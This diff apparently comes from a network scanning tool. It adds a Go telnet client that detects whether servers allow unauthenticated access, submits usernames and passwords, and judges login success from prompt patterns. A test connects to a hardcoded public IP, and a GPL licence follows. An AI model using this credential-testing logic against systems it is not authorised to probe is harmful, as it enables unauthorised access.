+ WILL = byte(251)
+ SB = byte(250) // Subnegotiation Begin
+ SE = byte(240) // Subnegotiation End
+
+ NULL = byte(0)
+ EOF = byte(236) // Document End
+ SUSP = byte(237) // Subnegotiation End
+ ABORT = byte(238) // Process Stop
+ REOR = byte(239) // Record End
+ NOP = byte(241) // No Operation
+ DM = byte(242) // Data Mark
+ BRK = byte(243) // Break
+ IP = byte(244) // Interrupt process
+ AO = byte(245) // Abort output
+ AYT = byte(246) // Are You There
+ EC = byte(247) // Erase Character
+ EL = byte(248) // Erase Line
+ GA = byte(249) // Go Ahead
+
+ // Telnet protocol options code (don't change)
+ // These ones all come from arpa/telnet.h
+ BINARY = byte(0) // 8-bit data path
+ ECHO = byte(1) // echo
+ RCP = byte(2) // prepare to reconnect
+ SGA = byte(3) // suppress go ahead
+ NAMS = byte(4) // approximate message size
+ STATUS = byte(5) // give status
+ TM = byte(6) // timing mark
+ RCTE = byte(7) // remote controlled transmission and echo
+ NAOL = byte(8) // negotiate about output line width
+ NAOP = byte(9) // negotiate about output page size
+ NAOCRD = byte(10) // negotiate about CR disposition
+ NAOHTS = byte(11) // negotiate about horizontal tabstops
+ NAOHTD = byte(12) // negotiate about horizontal tab disposition
+ NAOFFD = byte(13) // negotiate about formfeed disposition
+ NAOVTS = byte(14) // negotiate about vertical tab stops
+ NAOVTD = byte(15) // negotiate about vertical tab disposition
+ NAOLFD = byte(16) // negotiate about output LF disposition
+ XASCII = byte(17) // extended ascii character set
+ LOGOUT = byte(18) // force logout
+ BM = byte(19) // byte macro
+ DET = byte(20) // data entry terminal
+ SUPDUP = byte(21) // supdup protocol
+ SUPDUPOUTPUT = byte(22) // supdup output
+ SNDLOC = byte(23) // send location
+ TTYPE = byte(24) // terminal type
+ EOR = byte(25) // end or record
+ TUID = byte(26) // TACACS user identification
+ OUTMRK = byte(27) // output marking
+ TTYLOC = byte(28) // terminal location number
+ VT3270REGIME = byte(29) // 3270 regime
+ X3PAD = byte(30) // X.3 PAD
+ NAWS = byte(31) // window size
+ TSPEED = byte(32) // terminal speed
+ LFLOW = byte(33) // remote flow control
+ LINEMODE = byte(34) // Linemode option
+ XDISPLOC = byte(35) // X Display Location
+ OLD_ENVIRON = byte(36) // Old - Environment variables
+ AUTHENTICATION = byte(37) // Authenticate
+ ENCRYPT = byte(38) // Encryption option
+ NEW_ENVIRON = byte(39) // New - Environment variables
+ // the following ones come from
+ // http://www.iana.org/assignments/telnet-options
+ // Unfortunately, that document does not assign identifiers
+ // to all of them, so we are making them up
+ TN3270E = byte(40) // TN3270E
+ XAUTH = byte(41) // XAUTH
+ CHARSET = byte(42) // CHARSET
+ RSP = byte(43) // Telnet Remote Serial Port
+ COM_PORT_OPTION = byte(44) // Com Port Control Option
+ SUPPRESS_LOCAL_ECHO = byte(45) // Telnet Suppress Local Echo
+ TLS = byte(46) // Telnet Start TLS
+ KERMIT = byte(47) // KERMIT
+ SEND_URL = byte(48) // SEND-URL
+ FORWARD_X = byte(49) // FORWARD_X
+ PRAGMA_LOGON = byte(138) // TELOPT PRAGMA LOGON
+ SSPI_LOGON = byte(139) // TELOPT SSPI LOGON
+ PRAGMA_HEARTBEAT = byte(140) // TELOPT PRAGMA HEARTBEAT
+ EXOPL = byte(255) // Extended-Options-List
+ NOOPT = byte(0)
+)
+
+const (
+ Closed = iota
+ UnauthorizedAccess
+ OnlyPassword
+ UsernameAndPassword
+)
+
+type Client struct {
+ IPAddr string
+ Port int
+ UserName string
+ Password string
+ conn net.Conn
+ LastResponse string
+ ServerType int
+}
+
+func New(addr string, port int) *Client {
+ return &Client{
+ IPAddr: addr,
+ Port: port,
+ UserName: "",
+ Password: "",
+ conn: nil,
+ LastResponse: "",
+ ServerType: 0,
+ }
+}
+
+func (c *Client) Connect() error {
+ conn, err := net.DialTimeout("tcp", c.Netloc(), 5*time.Second)
+ if err != nil {
+ return err
+ }
+ c.conn = conn
+ //开启输入监听
+ go func() {
+ for {
+ buf, err := c.read()
+ if err != nil {
+ if strings.Contains(err.Error(), "closed") {
+ break
+ }
+ if strings.Contains(err.Error(), "EOF") {
+ break
+ }
+ //slog.Printf(slog.WARN, "%v:%v,telnet read is err:%v,", c.IPAddr, c.Port, err)
+ break
+ }
+ displayBuf, commandList := c.SerializationResponse(buf)
+ if len(commandList) > 0 {
+ replyBuf := c.MakeReplyFromList(commandList)
+ c.LastResponse += string(displayBuf)
+ _ = c.write(replyBuf)
+ } else {
+ c.LastResponse += string(displayBuf)
+ }
+ }
+ }()
+ //等待初始化
+ time.Sleep(time.Second * 3)
+ return nil
+}
+
+func (c *Client) WriteContext(s string) {
+ _ = c.write([]byte(s + "\x0d\x00"))
+}
+
+func (c *Client) ReadContext() string {
+ defer func() { c.Clear() }() //结束时,清空输出内容
+ if c.LastResponse == "" {
+ time.Sleep(time.Second)
+ }
+ c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
+ c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
+ //c.LastResponse = chinese.ToUTF8(c.LastResponse)
+ return c.LastResponse
+}
+
+func (c *Client) Netloc() string {
+ return fmt.Sprintf("%s:%d", c.IPAddr, c.Port)
+}
+
+func (c *Client) Close() {
+ c.conn.Close()
+}
+
+func (c *Client) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
+ for {
+ index := bytes.IndexByte(responseBuf, IAC)
+ if index == -1 {
+ displayBuf = append(displayBuf, responseBuf...)
+ break
+ }
+ if len(responseBuf)-index < 2 {
+ displayBuf = append(displayBuf, responseBuf...)
+ break
+ }
+ //获取选项字符
+ ch := responseBuf[index+1]
+ if ch == IAC {
+ //将以IAC 开头之前的字符,赋值给最终显示文字
+ displayBuf = append(displayBuf, responseBuf[:index]...)
+ //将处理过的字符串删去
+ responseBuf = responseBuf[index+1:]
+ continue
+ }
+ if ch == DO || ch == DONT || ch == WILL || ch == WONT {
+ IACBuf := responseBuf[index : index+3]
+ //将以IAC 开头3个字符组成的整个命令存储起来
+ commandList = append(commandList, IACBuf)
+ //将以IAC 开头之前的字符,赋值给最终显示文字
+ displayBuf = append(displayBuf, responseBuf[:index]...)
+ //将处理过的字符串删去
+ responseBuf = responseBuf[index+3:]
+ continue
+ }
+ if ch == SB {
+ //将以IAC 开头之前的字符,赋值给最终显示文字
+ displayBuf = append(displayBuf, responseBuf[:index]...)
+ //获取SE 结束字符位置
+ seIndex := bytes.IndexByte(responseBuf, SE)
+ //将以IAC 开头SB至SE的子协商存储起来
+ commandList = append(commandList, responseBuf[index:seIndex])
+ //将处理过的字符串删去
+ responseBuf = responseBuf[seIndex+1:]
+ continue
+ }
+ break
+ }
+ return displayBuf, commandList
+}
+
+func (c *Client) MakeReplyFromList(list [][]byte) []byte {
+ var reply []byte
+ for _, command := range list {
+ reply = append(reply, c.MakeReply(command)...)
+ }
+ return reply
+}
+
+func (c *Client) MakeReply(command []byte) []byte {
+ if len(command) < 3 {
+ return []byte{}
+ }
+ verb := command[1]
+ option := command[2]
+
+ //如果选项码为 回显(1) 或者是抑制继续进行(3)
+ if option == ECHO {
+ if verb == DO {
+ return []byte{IAC, WILL, option}
+ }
+ if verb == DONT {
+ return []byte{IAC, WONT, option}
+ }
+ if verb == WILL {
+ return []byte{IAC, DO, option}
+ }
+ if verb == WONT {
+ return []byte{IAC, DONT, option}
+ }
+ if verb == SB {
+ /*
+ * 因为启动了子标志位,命令长度扩展到了4字节,
+ * 取最后一个标志字节为选项码
+ * 如果这个选项码字节为1(send)
+ * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束)
+ */
+ modifier := command[3]
+ if modifier == ECHO {
+ return []byte{IAC, SB, option, BINARY, IAC, SE}
+ }
+ }
+ } else if option == SGA {
+ if verb == DO {
+ return []byte{IAC, WILL, option}
+ }
+ if verb == DONT {
+ return []byte{IAC, WONT, option}
+ }
+ if verb == WILL {
+ return []byte{IAC, DO, option}
+ }
+ if verb == WONT {
+ return []byte{IAC, DONT, option}
+ }
+ if verb == SB {
+ /*
+ * 因为启动了子标志位,命令长度扩展到了4字节,
+ * 取最后一个标志字节为选项码
+ * 如果这个选项码字节为1(send)
+ * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束)
+ */
+ modifier := command[3]
+ if modifier == ECHO {
+ return []byte{IAC, SB, option, BINARY, IAC, SE}
+ }
+ }
+ } else {
+ if verb == DO {
+ return []byte{IAC, WONT, option}
+ }
+ if verb == DONT {
+ return []byte{IAC, WONT, option}
+ }
+ if verb == WILL {
+ return []byte{IAC, DONT, option}
+ }
+ if verb == WONT {
+ return []byte{IAC, DONT, option}
+ }
+ }
+ return []byte{}
+}
+
+func (c *Client) read() ([]byte, error) {
+ var buf [2048]byte
+ var n int
+ //_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 3))
+ n, err := c.conn.Read(buf[0:])
+ if err != nil {
+ return nil, err
+ }
+ //slog.Println(slog.DEBUG, buf[:n], "-<<<<<<<<")
+ return buf[:n], nil
+}
+
+func (c *Client) write(buf []byte) error {
+ //slog.Println(slog.DEBUG, ">>>>>>>>>-", buf)
+ _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
+ _, err := c.conn.Write(buf)
+ if err != nil {
+ return err
+ }
+ return nil
+}
+
+func (c *Client) Login() error {
+ switch c.ServerType {
+ case Closed:
+ return errors.New("service is disabled")
+ case UnauthorizedAccess:
+ return nil
+ case OnlyPassword:
+ return c.loginForOnlyPassword()
+ case UsernameAndPassword:
+ return c.loginForUsernameAndPassword()
+ }
+ return errors.New("unknown server type")
+}
+
+func (c *Client) MakeServerType() int {
+ responseString := c.ReadContext()
+ response := strings.Split(responseString, "\n")
+ lastLine := response[len(response)-1]
+ lastLine = strings.ToLower(lastLine)
+ if strings.Contains(lastLine, "user") || strings.Contains(lastLine, "name") || strings.Contains(lastLine, "login") || strings.Contains(lastLine, "account") || strings.Contains(lastLine, "用户名") || strings.Contains(lastLine, "登录") {
+ //slog.Printf(slog.INFO, "%v:%v,telnet mode is : usernameAndPassword ,response is :%v", c.IPAddr, c.Port, lastLine)
+ return UsernameAndPassword
+ }
+ if strings.Contains(lastLine, "pass") {
+ //slog.Printf(slog.INFO, "%v:%v,telnet mode is : onlyPassword ,response is :%v", c.IPAddr, c.Port, lastLine)
+ return OnlyPassword
+ }
+ if regexp.MustCompile(`^/ #.*`).MatchString(lastLine) {
+ return UnauthorizedAccess
+ }
+ if regexp.MustCompile(`^<[A-Za-z0-9_]+>`).MatchString(lastLine) {
+ return UnauthorizedAccess
+ }
+ if regexp.MustCompile(`^#`).MatchString(lastLine) {
+ return UnauthorizedAccess
+ }
+
+ if c.isLoginSucceed(responseString) {
+ return UnauthorizedAccess
+ }
+
+ //slog.Printf(slog.WARN, "%v:%v,telnet mode is : unknown ,response is :%v", c.IPAddr, c.Port, lastLine)
+ return Closed
+}
+
+func (c *Client) loginForOnlyPassword() error {
+ c.Clear()
+ //清空一次输出
+ c.WriteContext(c.Password)
+ time.Sleep(time.Second * 3)
+
+ responseString := c.ReadContext()
+ if c.isLoginFailed(responseString) {
+ return errors.New("login failed")
+ }
+
+ if c.isLoginSucceed(responseString) {
+ return nil
+ }
+
+ //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString)
+ return errors.New("login failed")
+
+}
+
+func (c *Client) loginForUsernameAndPassword() error {
+ c.WriteContext(c.UserName)
+ time.Sleep(time.Second * 3)
+ c.Clear() //清空一次输出
+ c.WriteContext(c.Password)
+ time.Sleep(time.Second * 5)
+
+ responseString := c.ReadContext()
+ if c.isLoginFailed(responseString) {
+ return errors.New("login failed")
+ }
+ if c.isLoginSucceed(responseString) {
+ return nil
+ }
+ //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString)
+ return errors.New("login failed")
+}
+
+func (c *Client) Clear() {
+ c.LastResponse = ""
+}
+
+var loginFailedString = []string{
+ "wrong",
+ "invalid",
+ "fail",
+ "incorrect",
+ "error",
+}
+
+func (c *Client) isLoginFailed(responseString string) bool {
+ responseString = strings.ToLower(responseString)
+ if responseString == "" {
+ return true
+ }
+ for _, str := range loginFailedString {
+ if strings.Contains(responseString, str) {
+ return true
+ }
+ }
+ if regexp.MustCompile("(?is).*pass(word)?:$").MatchString(responseString) {
+ return true
+ }
+ if regexp.MustCompile("(?is).*user(name)?:$").MatchString(responseString) {
+ return true
+ }
+ if regexp.MustCompile("(?is).*login:$").MatchString(responseString) {
+ return true
+ }
+ return false
+}
+
+func (c *Client) isLoginSucceed(responseString string) bool {
+ responseStringArray := strings.Split(responseString, "\n")
+ lastLine := responseStringArray[len(responseStringArray)-1]
+ if regexp.MustCompile("^[#$].*").MatchString(lastLine) {
+ return true
+ }
+ if regexp.MustCompile("^<[a-zA-Z0-9_]+>.*").MatchString(lastLine) {
+ return true
+ }
+ if regexp.MustCompile("(?:s)last login").MatchString(responseString) {
+ return true
+ }
+ c.Clear()
+ c.WriteContext("?")
+ time.Sleep(time.Second * 3)
+ responseString = c.ReadContext()
+ if strings.Count(responseString, "\n") > 6 {
+ //slog.Println(slog.WARN, "3|", c.IPAddr, c.Port, responseString)
+ return true
+ }
+ if len([]rune(responseString)) > 100 {
+ //slog.Println(slog.WARN, "4|", c.IPAddr, c.Port, responseString)
+ return true
+ }
+ return false
+}
diff --git a/lib/gotelnet/telnet_test.go b/lib/gotelnet/telnet_test.go
new file mode 100644
index 0000000..01fceb5
--- /dev/null
+++ b/lib/gotelnet/telnet_test.go
@@ -0,0 +1,23 @@
+package gotelnet
+
+import (
+ "fmt"
+ "testing"
+)
+
+func TestTelnet(t *testing.T) {
+ c := New("123.179.223.126", 23)
+ err := c.Connect()
+ if err != nil {
+ return
+ }
+
+ //c.Close()
+}
+
+func TestByte(t *testing.T) {
+ fmt.Printf("%v", Closed)
+ fmt.Printf("%v", UnauthorizedAccess)
+ fmt.Printf("%v", OnlyPassword)
+ fmt.Printf("%v", UsernameAndPassword)
+}
diff --git a/lib/grdp/LICENSE b/lib/grdp/LICENSE
new file mode 100644
index 0000000..20d40b6
--- /dev/null
+++ b/lib/grdp/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
